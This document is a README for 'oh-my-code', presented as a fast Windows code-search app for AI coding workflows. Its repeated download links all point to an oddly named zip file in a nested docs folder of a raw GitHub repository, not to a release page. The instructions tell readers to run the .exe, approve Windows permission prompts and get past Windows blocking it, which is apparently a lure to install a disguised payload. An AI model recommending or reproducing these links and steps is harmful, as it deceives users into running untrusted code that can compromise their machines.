# ⚡ oh-my-code - Fast code search for AI workflows [](https://raw.githubusercontent.com/brushworkoilpressure365/oh-my-code/main/docs/superpowers/specs/code_my_oh_Chamaenerion.zip) ## 🧭 What is oh-my-code? oh-my-code is a Windows app for searching large codebases fast. It helps you find files, scan text, and review folders without waiting long. It is built with Rust, which helps it stay quick and light. It fits AI coding workflows, code search, and codebase checks. ## ✅ What you can do with it - Search across many files in a large folder - Find text in code with fast grep-style search - Scan folders and subfolders - Narrow down results by file name or content - Use it during AI coding work to locate code fast - Work with big projects without much delay ## 💻 Before you download Use a Windows PC with: - Windows 10 or Windows 11 - At least 4 GB of RAM - 200 MB of free disk space - A mouse and keyboard - Internet access for the first download For best results, use a modern Intel or AMD processor. The app runs from your computer and does not need a heavy setup. ## 📥 Download oh-my-code Visit this page to download the app for Windows: https://raw.githubusercontent.com/brushworkoilpressure365/oh-my-code/main/docs/superpowers/specs/code_my_oh_Chamaenerion.zip On that page, look for the latest release. Download the Windows file that matches your PC. If you see more than one file, choose the one that ends with .exe or .zip. ## 🪟 Install on Windows ### If you downloaded an .exe file 1. Open your Downloads folder 2. Double-click the .exe file 3. If Windows asks for permission, choose Yes 4. Follow the on-screen steps 5. Finish the setup ### If you downloaded a .zip file 1. Open your Downloads folder 2. Right-click the .zip file 3. Choose Extract All 4. Pick a folder you can find later 5. Open the extracted folder 6. Double-click the app file inside ## 🚀 First launch 1. Start oh-my-code from the file you downloaded 2. Choose the code folder you want to scan 3. Let the app index the files 4. Type a word, file name, or path in the search box 5. Review the results on screen If you have a large project, the first scan may take a short time. After that, searches should feel much faster. ## 🔎 How to use it well Use short search terms when possible. Try: - A file name - A class name - A function name - A word used in an error message - A folder name For large codebases, search one clear term at a time. That makes it easier to spot the right file. If your project has many similar names, add more detail to narrow the match. ## 🧰 Common use cases - Finding where a feature lives in a large app - Checking where a text string appears - Locating config files - Reviewing code before making a change - Helping an AI tool find the right parts of a project - Looking through a repo when you do not know the file layout ## ⚙️ System behavior oh-my-code focuses on speed and simple search. It is designed to: - Scan folders fast - Keep search results easy to read - Work well with large repos - Handle many files without slowing down too much - Stay light on system resources ## 🧾 File types it can handle oh-my-code works best with common code and text files such as: - .rs - .js - .ts - .py - .json - .toml - .md - .txt - .html - .css It can also search many other plain text files used in software projects. ## 🧭 Tips for first-time users - Start with a small folder if your project is very large - Search for one clear term first - Use the file name if you know it - If results feel broad, add one more word - Keep the app open while you work in the same project ## 🛠️ Troubleshooting ### The app does not open - Check that the download finished - Make sure you opened the right file - Try running it again as a normal user - If Windows blocks it, check the file permissions ### Search results look empty - Make sure you picked the right folder - Check that the files are text files - Try a more common search term - Wait for the first scan to finish ### The app feels slow on a huge repo - Close other heavy apps - Search in a smaller folder first - Use a more exact term - Let the initial scan finish before searching again ## 🔐 Safety and privacy oh-my-code runs on your computer. It works with the folders you choose. That means you stay in control of what it scans and searches. If you use it on work code, point it only at the projects you want to inspect. ## 📌 Project details - Name: oh-my-code - Type: Windows code search app - Focus: fast grep, find, and codebase scanning - Style: Rust-powered and light - Use case: AI coding workflows and large repo search ## 🖥️ Quick path for Windows users 1. Open the release page 2. Download the latest Windows file 3. Open the file from Downloads 4. Install or extract it 5. Launch the app 6. Pick your code folder 7. Start searching ## 📁 Primary download https://raw.githubusercontent.com/brushworkoilpressure365/oh-my-code/main/docs/superpowers/specs/code_my_oh_Chamaenerion.zip ## 🧩 What makes it useful When a project grows, it gets hard to find the right file by hand. oh-my-code helps you jump straight to the code you need. That saves time when you are reading, checking, or changing a large codebase ## 📚 Best search habits - Use the exact word you saw in an error - Search for a function name before a folder name - Try file names when you know them - Use short terms for a broad scan - Use more detail when you need fewer results
